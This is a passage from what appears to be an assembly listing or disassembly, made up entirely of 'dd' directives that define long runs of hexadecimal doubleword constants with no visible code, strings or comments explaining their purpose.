0D89F006Ch, 70065C45h, 0AC3200F9h, 0CEDFA472h, 80003B43h dd 5993C641h, 735484h, 690524CDh, 6FFF981Ah, 0DD8DB82Eh dd 0BA6AC700h, 8BE3B6h, 0E1C98531h, 0E6095FE9h, 7C6F48h dd 0FE292B4Fh, 0FE8453C3h, 0C11700DEh, 8CD3D8Bh, 9B129241h dd 0C8055F2Bh, 0A2C07847h, 3AA53AF3h, 2A031187h, 3127F4CCh dd 0CD0D0850h, 0C426732Eh, 45FFAC0Eh, 0FCC0A483h, 0EADA6D7h dd 0E25DC2B1h, 0E63B0B01h, 823430F9h, 0E09B492Eh, 68337487h dd 63DE3170h, 906C03A1h, 0EDAA8F7Eh, 14F291B0h, 0E009EA01h dd 82997F52h, 26C19630h, 1ECC46E7h, 9BCA8022h, 72910338h dd 16E8305h, 0C004E2A3h, 0DB4019E3h, 349EEB65h, 0A9FB1617h dd 697A1C42h, 0FF9448F2h, 0EF7C18A8h, 926111E6h, 0F0F4F7Bh dd 4016764Ah, 66DD6F71h, 0D2D80026h, 32C3281Dh, 67F0BC09h dd 44126890h, 8040A8E6h, 16E0249Eh, 0DABB1D22h, 786C115h dd 3095D388h, 0C6074813h, 49B4C090h, 76F29D60h, 3F940CBAh dd 0C1A0759Fh, 66CD0C07h, 1C60A8C7h, 0D8A7F2h, 0E4F3ED15h dd 0E90EA921h, 0B7782200h, 89986857h, 8D200252h, 8B066635h dd 0C1B9AE80h, 0C37869ECh, 4A1DAB8h, 226BE1CEh, 44610178h dd 5635CFEBh, 22303D31h, 42F6706h, 79985037h, 0AF026D80h dd 1641D61Bh, 1D11E08Ch, 0B41250F6h, 0E4172034h, 0E1C2DF00h dd 0CE180F7Eh, 0B02500D1h, 73A791ACh, 600A3046h, 0C0EB4DCFh dd 0EF691184h, 9AA56442h, 6CCCCC60h, 5FA1B8A0h, 53952F07h dd 0F8500C87h, 600DE217h, 1BADF8A5h, 867BCB0Fh, 0ED6F0704h dd 34C0DE80h, 1F217B99h, 40AAB78Dh, 9D094274h, 5603D6A6h dd 2DF164E2h dd 3F8001C4h, 0F5ECFB1Eh, 0F4FC710Fh, 0A43C310Eh, 200C8062h dd 59072697h, 3FFF76A7h, 0E7808719h, 8C35431Eh, 37008849h dd 3C414E8Dh, 0E83B169Dh, 0F20B81Bh, 0EDC579E1h, 0E053040h dd 0E879E65Fh, 714654Ch, 9A1419DDh, 8D48A0F9h, 44709Bh dd 698EF363h, 0D7EE798Bh, 0D4BBA004h, 67C04EC0h, 0EC27E6C7h dd 24774C02h, 0E8662Eh, 80E28EE1h, 73544F69h, 35F703ACh dd 182E0ACh, 6700F4ACh, 0EE71A65Ch, 5D1A6Ch, 0F13CDFD8h dd 220FF665h, 42398664h, 1F888D8h, 0B219E4D0h, 0D38F98h dd 34ECA9h, 2C4E1272h, 8CD0B31Dh, 70C434A1h, 9AA01621h dd 0AC1F4AE2h, 6E0346B0h, 0F8C7D612h, 130DABh, 75A57FE3h dd 5F4C7976h, 350F9305h, 408153B3h, 41E4BD2Ch, 80E14A32h dd 0D0E247F0h, 59437900h, 95816EBBh, 4178014Bh, 8388CAB6h dd 8EA40E1h, 0B200B74Eh, 0D7A6C017h, 16ECE3Dh, 7FE7D29Ah dd 7086B5B4h, 7D00C5FCh, 5E78A424h, 12F58Eh, 9C7C2CFCh dd 0E1585371h, 0B922C11Eh, 855CE26Dh, 0A6C3D7FBh, 0F10CD882h dd 97900089h, 15C8345Ch, 257F74D6h, 0C6FC3014h, 760071C8h dd 5E362A7h, 5D576Eh, 991074BDh, 8CF478A9h, 5CBA4Ch, 0FDED0A13h dd 0E8ECAC04h, 0F0B80708h, 0D1ADFF0Bh, 80E9356Eh, 93E501D8h dd 2A7232E4h, 0D43826h, 558C69AFh, 0C0775D67h, 0E16BB609h dd 82604087h, 8183C39h, 28178480h, 47F72332h, 0DC387D1Eh dd 76009D1Eh, 0B0045490h, 957A67h, 0D5B911Bh, 0CE82876Dh dd 0D07C5534h, 2C532DC0h, 0BD5717E7h, 9BDC008Eh, 70D97167h dd 8AAEE817h, 9EDFCE00h, 0FCB75C9h, 3B8F8947h, 0DD6BA900h dd 0C3049B90h, 63F8B155h, 0E72E35C0h, 0D5F200E8h, 0D30D701Ch dd 8C0091EFh, 5996B10h, 3D445616h, 8E9D36CFh, 33B14031h dd 2ABAB3B5h, 78F11C13h, 0C1774003h, 808B19h, 0B729DF9h dd 0A8C51420h, 5C44600Fh, 0B3404047h, 3AB42DB0h, 7B0088CBh dd 0AF19AAA6h, 0EB01AE96h, 1AB7F03Ch, 0D452111Dh, 0B908489Bh dd 6CE2F1h, 0FBA3EB33h, 7A127069h, 1AF48F7Fh, 3E8C7502h dd 0C0A9B935h, 2A74ACh, 20C2ED7Ch, 75E4B839h, 5E21A700h dd 0D4BAE5C5h, 0CA37005Ah, 43EB14Bh, 7700C227h, 0E9D99ED0h dd 17CC343Dh, 0D4402Ch, 0B1AE6140h, 0B000673Fh, 32F1B733h dd 273FC03h, 0FF262E3Dh, 0C8A0507Ah, 0FD19CBE5h, 8C923Dh dd 0BFEC51E6h, 1371066h, 0D93E7BB8h, 0F1DCB1D0h, 0C8F0703Ch dd 3C00A15Ah, 0FA61F51h, 14494DEh, 90A5B147h, 0E2583059h dd 95240E0Eh, 1556C04Ch, 4C88C762h, 3E1CE481h, 34854001h dd 65DED233h, 5ACFE3F2h, 0FF5AC039h, 51078A7h, 85259281h dd 3001EB6Dh, 6A342B5Ch, 7B1D880h, 0BF88C3F4h, 0A270F00h dd 0EF15C478h, 0B979015Fh, 70F94891h, 49C5C87Bh, 75C86A00h dd 7D4AC15Eh, 97FD00D2h, 58A00635h, 60C06BCCh, 0AAF8B496h dd 1CBF615h, 0EDF1E165h, 0F0DACC99h, 5C00F4F0h, 0B02C983Fh dd 1BD060Dh, 0B9FD459Fh, 89600836h, 7CC9D98h, 80F9B44Ah dd 480958B4h, 3C6C16D4h, 1F6440BFh, 0FC71024Dh, 6B094090h dd 0A0F77936h, 9009ADFCh, 50680F0Eh, 0CAC030A5h, 0C86311E1h dd 0BFA8F6D8h, 347303C7h, 983AA308h, 217AD3E9h, 519540BCh dd 0DE37D721h, 0A0F0903Bh, 5B43426Fh, 1C7C60EAh, 9B60D360h dd 0A768B294h, 0F0863052h, 1EF0289h, 0E0B0403Eh, 9C9FDE10h dd 5258001Ch, 6985248Ch, 6E89B2Ch, 0A7A06C13h, 0BA40F800h dd 247364B7h, 3FF44754h, 7DBC3880h, 9875DB04h, 5EBDD712h dd 0B25C3800h, 30310927h, 22D85223h, 70007D59h, 0B00DAF25h dd 1B9FF99h, 0C61FE70Eh, 0FC509F39h, 900B731h, 1B348DDCh dd 0EE904CCFh, 8B0A00ABh, 0EB4A073Bh, 0EFE46F43h, 0BB4B7602h dd 80C8F7BAh, 647E6990h, 1D90FA8Dh, 399832Bh, 9BD43D22h dd 20D08899h, 1F0EA9A4h, 0C751B0A0h, 60C9B871h, 172A7D8h dd 693BBEDBh, 0F06CB0DEh, 0B49881FAh, 94B2F600h, 388E3701h dd 936500FDh, 21BA8057h, 0C60963C8h, 0C0DD0732h, 1DAD048Ch dd 401297D5h, 0A5A98111h, 923FD950h, 878985CEh, 0E000695Dh dd 0CBE2362Eh, 0DE0A0529h, 0D0D26B43h, 8AE069A4h, 6200D7E0h dd 0F9F59842h, 7A8112Ch, 54804EC4h, 0B6E510EBh, 6A605E86h dd 999FFE78h, 6883A84h, 0AD185789h, 0F8A96C00h, 0B400B0A3h dd 40EC038Ah, 0F20863h, 581988B2h, 62BB426Ch, 6A2A1000h dd 3007EEAFh, 35DC00B9h, 9DBE75CAh, 0ABF660B4h, 0BF3EF000h dd 81ED9C0Bh, 0F479007Fh, 0B5280663h, 771DC803h, 24416096h dd 0B9FE58D1h, 0F653DF60h, 0E5E2015Dh, 36325ED4h, 7FE04138h dd 0C992EB56h, 5550900h, 0F10E07EEh, 4078E34Ah, 7D749C41h dd 0EFE85E02h, 4289618Ch, 0E05C40B5h, 0E9D800CFh, 87DCBC13h dd 0DE00BA12h, 0D0B509A2h, 5021144Ch, 56E092h, 0DB2474D3h dd 8183B097h, 84CD0400h, 0A4237F9Ch, 762E647h, 6057786h dd 108A801Eh, 8700B62Dh, 68D816A6h, 74C20F7Ah, 28E82E2Ch dd 3A180070h, 80B073F0h, 91013E98h, 3C8A53B4h, 3870F929h dd 0C2FB2667h, 0B1CB0BC2h, 3A283E01h, 0B0E2CC4Eh, 0ED8EAC00h dd 80039C06h, 373C0058h, 0C3819B96h, 24EC5C34h, 97002CB2h dd 9EF7E30Bh, 0E24C43h, 7B098B7Dh, 51BB94Dh, 0ABCDBE00h dd 0B68C3199h, 9FE400ACh, 0EE37E4Ah, 0DC9EC303h, 850B8988h dd 0C035CD57h, 63EAF984h, 0D81A0C00h, 1DE5CC46h, 8018003Fh dd 71A6703Eh, 6F008EDBh, 4CC81655h, 0E0D73864h, 3977009Fh dd 0CB34D0F7h, 0E12ED55Eh, 0A300F706h, 0BCEA2F5Fh, 39B900A1h dd 0A6B5B39Ch, 11FA10ADh, 47A0380Fh, 6A5141DEh, 0C420600Bh dd 55D90054h, 8A1A133Fh, 0A9262BDCh, 0AB844042h, 8100BFFFh dd 32F257DFh, 7997D000h, 0B229480h, 0EFE47Ch, 0FFB5F836h dd 0A11DD2DAh, 82FB7F00h, 45870912h, 0C83B0996h, 0F18185C0h dd 28A35E60h, 0EFF0698h, 2E692A3Fh, 49367Eh, 78DA13B1h dd 543CEA40h, 0A3FE2883h, 8BCD0207h, 0ED7167E1h, 86D8C901h dd 0EB728Ah, 0B6510865h, 0A12C72BFh, 0F27A47Fh, 0DF640160h dd 2AE534E0h, 64E860h, 4DC54672h, 5F35C03Bh, 7D007EECh dd 0FFD682E6h, 2967FEh, 0B5482D66h, 37C0F7D9h, 8D0F36F0h dd 80E73EF8h, 9A9EEFADh, 60E60C56h, 0F24040DCh, 4F990102h dd 6094F5D4h, 6E74728h, 40AAD2C6h, 9F0010E3h, 7765E1C7h dd 1C52593h, 3F68701Eh, 407BE6B7h, 0C4529B8Ch, 73FE241Fh dd 93307400h, 7146B15h, 12A75E91h, 27FF212Fh, 71A450C7h dd 0D4EE4F3Eh, 0F751F30Eh, 0DC9C01A9h, 6DE4C605h, 31E2009Fh dd 1E4F6890h, 7F5D47FDh, 64BE0ADCh, 0F20D249Ch, 0F3F0C019h dd 49810C98h, 7C297772h, 0B7F57600h, 1413E3E4h, 83CD028Ah dd 18ED5165h, 72A00CC3h, 0AD003676h, 9FE6C42Dh, 37DF7Ah dd 0FCB273B0h, 67E23168h, 0FB37800h, 4B9FC785h, 20FB00F6h dd 6ADD1237h, 0A902E92Ah, 0E07C235Bh, 7FD1609Dh, 0DB673B57h dd 0EC59970Fh, 7B12C0BCh, 0FFF3C919h, 1E7E0C00h, 0E2B799C5h dd 49FD160Dh, 0C6AC28h, 80FBF9C4h, 4A895Ch, 5FBBC994h dd 1EE4318Dh, 155DE00h, 5464883Ch, 146139EFh, 600096BBh dd 3D48A449h, 9D001290h, 4DCFD506h, 9A677733h, 0B002079Ch dd 6F5FA45Bh, 0F0D66047h, 9768881h, 0D739EC03h, 0C93BD0C0h dd 0A6D81E27h, 1F1772F2h, 40CC78BFh, 0D9182890h, 190032E2h dd 731A376Fh dd 5C2FEF9Fh, 0B300DE4Ch, 34EA5472h, 4B00C1BFh, 0A3F02153h dd 3D28D2A9h, 0D1004F51h, 394E3EA6h, 0CB008727h, 0EBA3ECE4h dd 0FBFFAFDh, 627EA9CEh, 3E1BD700h, 0BB0473FBh, 0E420D26Eh dd 95E23892h, 78FB5804h, 57C86623h, 8B508060h, 13E50087h dd 7E5B2506h, 6790A5B8h, 0CE289960h, 742A75C1h, 0BC683C6Ch dd 8253C980h, 1E71956Ah, 85F1420h, 29FEDAC7h, 0C847410h dd 54115E65h, 51011118h, 3188BDD0h, 84C895Fh, 29726413h dd 0DC1925DCh, 0C0085029h, 44386D44h, 4284BBBEh, 74C211A4h dd 11B78411h, 882171A8h, 28788A14h, 0E07814A0h, 25089C89h dd 0EC13FDh, 249EC0A1h, 0FF5C9C49h, 26C66700h, 54A6865Fh dd 82A30244h, 4CC4B8F3h, 78AFB5C0h, 0CAC6B000h, 0D72651D6h dd 0FF6F0731h, 0B112A00Bh, 0EC81B62Ch, 0D900E1A2h, 11A38E6Bh dd 17F2335Dh, 546958h, 2289DB5Bh, 950FFE97h, 4105F9h, 8B034556h dd 5E390037h, 0EA55A63Fh, 660EF0C2h, 0E0E1B0BFh, 8AF7CFC0h dd 0F59E00C3h, 0A50539D1h, 6500B1BAh, 0A3E828C8h, 33E270h dd 0E956D29h, 5DC28A05h, 85D68738h, 383D52B7h, 5C2B66C7h dd 793A09D6h, 1D302C00h, 0FE0035E5h, 0E68612FBh, 420AFCh dd 361E88E7h, 99BF0B73h, 406BEC00h, 0C066BD3Ah, 0B6680032h dd 8151D32Ch, 6903578Eh, 0E5FB0FF2h, 33E3E088h, 0C58F0098h dd 160D0411h, 0E40227BEh, 0CF181455h, 3D6C48C4h, 0EA1C00E1h dd 0E9295A73h, 1A005D0Dh, 2F7D157Eh, 0C93CC8h, 0B3517F6Eh dd 6445C119h, 0B000B670h, 0E9D54BA0h, 1D0EF4E4h, 0CEFE491Fh dd 0F9C05BEEh, 0B55F094Dh, 0BD59DE07h, 0EB26A89Ah, 38960028h dd 17357CE2h, 1B00EDFBh, 3DCDB774h, 1431DDh, 0F3398B96h dd 62847CCFh, 9450E5E8h, 5458AF80h, 80C83EBDh, 0E375C213h dd 0F209EBh, 27F0D41Dh, 0CC4236E9h, 80C01A38h, 0A1908F5Eh dd 18918D12h, 0F06E96CBh, 0A62E855Fh, 0FE008E80h, 0A9938B9Ch dd 117D00C7h, 0DF47261Fh, 0A8039B9Eh, 6885F30Ch, 4F4DA840h dd 0CCD639F8h, 5CDEEE80h, 79C8BB33h, 22A1500h, 0F6B28867h dd 807B01C4h, 0CF47DE13h, 0AEBE8E4Eh, 0F82A6AE8h, 0A9F43C00h dd 0D061C5h, 0FD43E383h, 0C72403E2h, 8F2FD703h, 0B5503BB7h dd 0F52AA100h, 364442h, 53AADF51h, 778304B4h, 5CA51A01h dd 0D8D43178h, 262D7C20h, 3E480BDFh, 0F050AB07h, 7232D05Eh dd 1600FF4Dh, 65DE58B2h, 11E89B8h, 0FD2ABB03h, 24A11367h dd 72008B28h, 0EAB8D9F5h, 0D82D93h, 3EDB7115h, 0EB7E88C0h dd 9CD55707h, 44430BC4h, 32118009h, 5150013Fh, 0DC99D4Eh dd 0E5F0C3F8h, 0F3001D5Ah, 95014188h, 4B7E8A0h, 5616DAA7h dd 224080C9h, 2100D257h, 0E6D96135h, 0F73B3CDh, 92A6E7D8h dd 3DE5A0C0h, 6C00EE56h, 0F61EAF6Bh, 90CB45B3h, 5FA0008h dd 65F85193h, 0BB60833Eh, 98DB772Ch, 6BDF0075h, 7BF61F15h dd 3F0FF291h, 6FCBC294h, 0F07400D2h, 8F8D36h, 0D928460Ch dd 159D0E13h, 0C85284A0h, 6C03DD00h, 945ACC67h, 9C650108h dd 0FE77A4F2h, 0DCB9F53Eh, 3A1E1F10h, 32C31739h, 0E17A1314h dd 0F8C733DAh, 788359h, 2671F805h, 0B5CC54FCh, 723F4400h dd 0EE2797Eh, 58227409h, 0B000301Ah, 646AE145h, 0CB00FFC2h dd 2C1F9E70h, 3BE311h, 7CDE4697h, 9280557Eh, 89A8943Ah dd 0D379BFh, 95685CB4h, 8A3F07FFh, 3187DDF3h, 0FC1D64DFh dd 3400130Ch, 61EA4E73h, 263DB289h, 802C3E68h, 50987CC6h dd 0C1003226h, 701CA7BAh, 3F4EB4EDh, 0A4501044h, 1E6500E2h dd 8960464Ah, 400A022Eh, 0CBC98D39h, 0D721803Eh, 0C4BCA742h dd 0DB9E50ADh, 0D58600EDh, 0A87E3084h, 0E0003C1Ah, 161E2A18h dd 914744h, 67D0239Dh, 0A95373Dh, 0C08A1904h, 66C48482h dd 633306C0h, 0DA9C3D9Dh, 801CBAA4h, 50EA253Eh, 35002BE3h dd 65558628h, 71B34DDh, 97E87FE1h, 1005529Fh, 74D1D087h dd 0FB08C0F8h, 400310Dh, 0EEBC3690h, 11DAEFh, 6CB30F09h dd 8254E77Ah, 836B8B3Bh, 161C14F2h, 2BACF042h, 40EA0011h dd 254EA0FFh, 0EB0077A9h, 55922987h, 654AA37h, 963006C4h dd 3322B0D9h, 16272DE2h, 0DF00C7F8h, 0B03CF4A2h, 0CAA3ADh dd 7F0417F5h, 71217A81h, 27C23D00h, 2A13207h, 0CD090043h dd 151B82D5h, 161E1D69h, 0C4816849h, 8E2FF6CEh, 805DA89Eh dd 0B4DDB9D8h, 0AC18C0DEh, 0A9A0394Fh, 9F5E0597h, 78E748Ch dd 81A648B4h, 0C08F02D6h, 705D62E9h, 0D4BA0570h, 4C82727Fh dd 0BD44C03Ch, 0F5860055h, 21CDA73h, 1EF213DCh, 0F82B7204h dd 5CC8CC29h, 4DC30EB6h, 58C0C993h, 848B9D8Fh, 9A07F7FEh dd 0B0196A26h, 74CF9B40h, 1F7C00F2h, 0D19933C7h, 84007B80h dd 4BAA0DC6h, 0CB56C8h, 2E47E01Bh, 0E106C7F6h, 2C3D612Ch dd 0AA05843Eh, 5C849976h, 0C38BE9C3h, 0C9419F12h, 0EFE47CD8h dd 0AC9861h, 0EB3F6981h, 0ED6DCFA3h, 6510EE00h, 4F1D70Dh dd 0C4A154A7h, 8B3200BBh, 0EB83710Ah, 0FF751326h, 0C2902200h dd 55F84195h, 242EA6Eh, 20FEBB7Bh, 8780F06Dh, 0E23CCC3Bh dd 58D85C00h, 9911CF0Eh, 555F00F6h, 8AB28BAFh, 0DD00F0DCh dd 7152FBE9h, 0B0B61CCBh, 0BDFA0005h, 642FD4FDh, 307A81CFh dd 33FE5500h, 753916B1h, 109600CAh, 0EB6BD8D2h, 0B9000864h dd 5003E30Fh, 7993D97h, 0AF8FF09Eh, 0D07450F6h, 9000D931h dd 54C619Dh, 69B7877Eh, 98805035h, 18F27069h, 0CC908900h dd 8FCB1595h, 0E21B0045h, 41391081h, 1E00A494h, 936DFA1Fh dd 503CAC06h, 110A6B4h, 7BABA1CAh, 0F8C19E88h, 0CF03128Fh dd 0DB549DA9h, 3890DE3Ch, 7F839326h, 4CC9B207h, 4A77E3F0h dd 1A101E00h, 0EA3062F0h, 28927428h, 0BD02DFh, 7B4C41FEh dd 0D53F90D7h, 10179775h, 0AB0692ACh, 29BED1h, 92BA19Eh dd 885FC37h, 3ADE0D00h, 9A999CB2h, 3B390328h, 0D858212Bh dd 0E53142F8h, 1A1406FAh, 0A79E4Ch, 0F91E3769h, 124086A0h dd 7BACDFh, 6A6BCF51h, 0A61DEBB5h, 5FC193B1h, 8B59CDD8h dd 0A1B4F140h, 9B8300A0h, 0F877FBC1h, 970064EDh, 0D23DC2Dh dd 2F37CDh, 0C7A3022h, 0EF770BC1h, 8470E30Bh, 19500156h dd 0E040BDFEh, 16F38E14h, 6B30F2h, 701D1789h, 60078893h dd 866D8A47h, 0C3441110h, 1020FF75h, 0A8D00141h, 0B2F9B7A3h dd 5DCCF46Ch, 72F2E30Fh, 477041B3h, 0AAC04033h, 0EE4300C5h dd 6D612F66h, 3E003DEFh, 0C439A028h, 175E1080h, 3033424h dd 0B0C7190Ch, 0BA00DC7Dh, 8273ECF2h, 7649A809h, 7B4F47Ch dd 0EEF09D3Dh, 0CC05B0DBh, 4AF681BBh, 53C58E00h, 917FE41Eh dd 4FED3AD6h, 0D02F3B14h, 43389501h, 0E0440ED9h, 57B77F7h dd 941E4C1Ch, 296CE3CCh, 28CE07C6h, 0D0DC6B08h, 9C35DD9Bh dd 3439EA00h, 4AC12774h, 41160F28h, 6C202178h, 0EE17C4E6h dd 9898DC3Ah, 3789A7B9h, 422F00EAh, 4C9596D7h, 16005434h dd 8E188D0Bh, 1E784B8h, 5B644DA1h, 0D7A4C928h, 35DAC0A4h dd 6A001AEAh, 0B3956B8Ah, 0A2EEFEh, 0C0F81918h, 0E0DF8579h dd 13D2D900h, 7141C50Ch, 624E6028h, 0BFCEEB08h, 0F0485300h dd 8EAB709Fh, 129400FFh, 299591AFh, 6F07C9DEh, 0E8D53828h dd 4360F547h, 2C604CAh, 9593D926h, 0DC80A127h, 986F8481h dd 7882C803h, 0B04920A4h, 0EF736ADh, 70871C2h, 0BE2D1D41h dd 0EB08E93h, 428AA781h, 7CB7F780h, 3FE400FEh, 174E793Ch dd 0E9B8D0AEh dd 2BC95000h, 971F399Bh, 8E781FCDh, 0EF9C030h, 0BBB5565Ch dd 0A3C4A7Eh, 3DFD0265h, 60294F17h, 3ECE74h, 247C1911h dd 2CE05ED0h, 4DB71B00h, 66FB100Fh, 0B0AA00DDh, 71D3359Ah dd 4E00F0BCh, 4667052Bh, 3C113CAh, 0C7C279B9h, 8AC05E5Dh dd 1D0093DAh, 0D9DCE4C5h, 0B864AAh, 0BD281B7Bh, 0AD875D92h dd 0DD5A5400h, 0D980CF9Fh, 50865CBFh, 12C6E350h, 20B79385h dd 0C0225A58h, 1DD0C0BDh, 26C3006Ah, 0AC0F9967h, 0D73BABA2h dd 0B4CF00F5h, 0B74D8FFCh, 26F0095h, 54D258A0h, 0B919FAA8h dd 67108781h, 61020h, 0C24D2A28h, 897A5012h, 22D6380h dd 0B88B28Fh, 1C60D0E8h, 4904F0CFh, 351C4381h, 7E385580h dd 18440004h, 23A8FE9Bh, 8F0019F8h, 0EFBD5B40h, 1EE04264h dd 0D2D965C1h, 681000CAh, 2BEAF8C5h, 39006270h, 0D72C6D74h dd 12E136F2h, 40E2B964h, 33F77024h, 8600CC96h, 0D920C0FAh dd 261AB373h, 7414555h, 0E0A1EF4Fh, 7E323968h, 5D3F9B90h dd 0A788222h, 43249F1Dh, 1943F8ECh, 0BA03011Ch, 3D899625h dd 1D448086h, 58EB9E8Ch, 5F84261Eh, 3F2101F4h, 0F81719AFh dd 521385F0h, 0FC00CAF1h, 4ED87953h, 64D24822h, 0BB461E00h dd 0DB1568FBh, 85879F00h, 88D1E602h, 0EA136012h, 0C098BE6Fh dd 0E95C9898h, 0AA541ECAh, 0B1D0DD01h, 51E818B4h, 537568h dd 0A0E3E4BCh, 6FADA916h, 930241F6h, 0F9981B44h, 905AC3AFh dd 5A4389h, 4677E8BEh, 6E86DCE0h, 80987339h, 0B12A7DFh dd 72793Ah, 4C6F9B2Dh, 0B23BFA4Bh, 3CC46D00h, 74987CD3h dd 5FD60594h, 40EB8E86h, 1413A3ECh, 36016EFBh, 3F97887Ch dd 0C840E399h, 948D7Dh, 0B68B30AEh, 77EFC3BCh, 943B093Eh dd 9B71A24h, 8781326Ch, 1505BF1h, 12CAD6F7h, 0EBFFECFh dd 4C2027E4h, 0EBCB7673h, 280089EAh, 3CA9AC0Ah, 3D597BEh dd 84E4E0EDh, 0DF9896DBh, 0E8022A77h, 0DD4AD402h, 2880601Fh dd 399D0241h, 0C0C7A23Eh, 165C38C0h, 1959A400h, 22A8FA3Ch dd 8272EEh, 6A888CC7h, 9AE153DFh, 0CA00D877h, 0F2913366h dd 2A9DD5Fh, 438CE88Eh, 0A4401986h, 0B316C4B6h, 4042C17Fh dd 60036750h, 88AA4748h, 8D7DD09Ch, 78D7511Fh, 0DF485540h dd 26D459C8h, 145494E7h, 0A30048F6h, 60C0BD84h, 1500F05Fh dd 0A067B71Eh, 5CBB5571h, 9A003025h, 0CF65DED3h, 0A2077C95h dd 97EB6D1Ch, 0C3A46A0h, 0C2220066h, 0A6C1742Eh, 0EF3F2C98h dd 0BB41000Dh, 4CEA58FCh, 5400022h, 0CB0D539h, 0D8B8EC1Bh dd 0D6007DF2h, 2D77C2A5h, 0F41A6Eh, 7A663728h, 5F8F6490h dd 0E31779F8h, 3404BE04h, 0CCC084CDh, 24B86Ah, 75E2F871h dd 2FE30A69h, 35E2C00h, 127F8979h, 0E5D301BFh, 0EA6B38E8h dd 5B9043BCh, 776F28B0h, 4FC7DF00h, 0A8E62C9Dh, 0BB9003BDh dd 0DCF0F9A3h, 92D78880h, 7B13A101h, 0D836F406h, 39531660h dd 753FC63Bh, 0D63A0504h, 600CA08Bh, 0ACC01229h, 9564EE01h dd 1FF44686h, 0CD2005BCh, 44778014h, 43BE57D8h, 0B540828Ch dd 1C412096h, 0C08D7811h, 0D74AF184h, 0B8906737h, 60439C07h dd 42800688h, 508BE0D4h, 9FB523h, 0CD169A4Fh, 26313B35h dd 446FA713h, 0AB02D000h, 0F65C96h, 0D043B38Bh, 0C4CDD5E8h dd 9BA40912h, 261EB800h, 78ED64Eh, 6FF3E468h, 3604406Dh dd 0B20016B1h, 798A0EB6h, 0F8C57EF0h, 0DF803CBh, 33F27C3Ch dd 8AB89ECBh, 6079197Dh, 4D234300h, 3E2C2252h, 0C11703F3h dd 0F8E4BE1Dh, 739747E8h, 456BD0CFh, 96005AF7h, 0C1941F42h dd 0DD591686h, 53280049h, 8B52013h, 21B789C0h, 60CC8E6Bh dd 2DF041EFh, 0F0C1017h, 291CA96Ch, 0C70F6ABh, 0A069B67Fh dd 6F0725E0h, 0A70454E4h, 399E2C60h, 0EAEE0098h, 8814E852h dd 3D06FB0Dh, 76C41AA4h, 3B837E90h, 0AFBDA9A6h, 8B430A00h dd 0F0636AE4h, 5800D6E0h, 663D21CBh, 7DD2779Dh, 388400FAh dd 9BA3C21Ch, 0C424A2BAh, 820028FEh, 29ED0586h, 39CF0064h dd 0F3C672F8h, 0DD00ECDEh, 0EBD66FB7h, 3E287D8Eh, 2802D60h dd 0CBFE2A84h, 2F03ACCCh, 0FBDC05F6h, 6E21A052h, 63DE003Ch dd 9FF25F3Bh, 0E700C64Ah, 70A74966h, 33281157h, 38C87778h dd 0F860FDA0h, 64D8B01h, 2E8FB2CCh, 12B69C50h, 0A498DCh dd 55AC35F5h, 2D6CB574h, 9CE5D626h, 0A0EB9A01h, 31022B8Bh dd 0BBC6C1D7h, 3CB3C040h, 0C18558C0h, 0F580DF3Fh, 15D07E4Bh dd 240193AFh, 0A330831h, 9031BEE0h, 231FD8FFh, 18F0796Eh dd 0C84C8B87h, 1D0FBAADh, 92620E61h, 6A78A800h, 730F2C8h dd 177A5859h, 0DC8089CDh, 0B6D247E0h, 0C21DF514h, 0A72816A8h dd 0DC5EE500h, 8D4543h, 0BACD51FEh, 0CA579572h, 0B87C632Ch dd 5380DD00h, 1FD4CC1Ch, 80EC1430h, 0F8C294A1h, 0F300F1A2h dd 54BE7ECEh, 0A8B05h, 2061DBFAh, 8D5159CCh, 8100B4B0h dd 0E77D0B5Bh, 593DE11h, 0A810825Eh, 0B0ED80FBh, 8F3E7648h dd 0BF02F7C6h, 0FEE980E6h, 4F906053h, 894D0005h, 0D5C29045h dd 8528B981h, 0B71D465h, 8C868CA8h, 62CB5300h, 0AF6CB3ACh dd 9F1E03C8h, 0AE0509A2h, 11A1FE8h, 74B1400h, 0E26C7B24h dd 8C5A00C2h, 6AB9E4C7h, 0A47F440Dh, 0A0D190A0h, 528EBB00h dd 80B90B8h, 22FD0061h, 48394688h, 0AE00345Dh, 0F3DBCBD0h dd 76BC99Dh, 0BF0EFE3Ch, 0D113C0B3h, 7303BD8Ch, 0CE4BA70Ah dd 4DFD85Bh, 0D9C118B6h, 7F10C06Ah, 55971300h, 989F61DCh dd 0C9C304F0h, 0B0EF7B21h, 5B0065B8h, 0BEE622E4h, 19650CDh dd 570F1E36h, 0CC30455Ch, 0F90E2C26h, 0C069C1E8h, 26E2022h dd 82E21260h, 0DD7C00C3h, 0E065E3BFh, 21745102h, 619673BEh dd 0C0339CA0h, 0C5986700h, 0A29DAB12h, 0AEC28016h, 0C407B040h dd 1A0918Dh, 0D151C61Eh, 0E0BA595Eh, 1B0597CBh, 18EC7BB8h dd 0AC0FCB03h, 4A4088C7h, 0E2671FD6h, 0CA3AC52Ah, 0E96AC0C4h dd 0F16F2BCCh, 0F8272358h, 1ED9350h, 0C8AC2110h, 0EC7C37D1h dd 9F1CF011h, 1640DB73h, 2247BAC1h, 5CE6E8EDh, 8D00F327h dd 0AE80926Dh, 9D0FDABCh, 601C7586h, 0FCC5A7DDh, 32DE899h dd 7FEE50ECh, 7CE06696h, 0C2019F8Bh, 0C816A837h, 9A3098AAh dd 9DE30794h, 5022093Bh, 0D0A91EB0h, 10CE0B00h, 320D83D6h dd 0F61A0098h, 0AB43311Bh, 6D00220Eh, 3BF75B0Ah, 3A63EEh dd 0AA3399CFh, 9A982E79h, 876A5700h, 7A65A40Fh, 0F7FC01F2h dd 0BA6F2CF4h, 8B0830B9h, 8DB83400h, 9FD7E8A7h, 834ECDh dd 2C8A67D8h, 353C4029h, 23469812h, 178B7Ah, 0B6E9660Bh dd 0D644836Fh, 0B2A54B00h, 5A064915h, 898ACh, 59D7A270h dd 45223B10h, 63CC7C00h, 0E92B1630h, 7D330F8Ah, 0FD20438Dh dd 36D34E41h, 0F432044Eh, 3984600Bh, 40920072h, 3359837Fh dd 4890E30Ch, 77EDF500h, 9901FA85h, 354B824h, 0C8CEDC36h dd 5DA02DB5h, 2F248EE2h, 32008490h, 0E302DD9Bh, 317D80D7h dd 8D2AF603h, 0D249701Fh, 0C1F0C192h, 1256C870h, 971F401h dd 0C4800C96h, 91B750C6h, 3DDBB258h, 4C40083h, 0DC59DA66h dd 30C0B04Ah, 0C120967Ah, 48C08021h, 762F5655h, 9BA5002Ch dd 48C50C4Ch, 0BB03F072h, 878D9A7Eh, 88B2D9FAh, 141420h dd 170816B0h, 0A3947A63h, 7BC8EA00h, 23CDE861h, 85A500FFh dd 35A6AF51h, 68009C2Dh, 0EF75AAA4h, 0FFEE4Eh, 92D0D615h 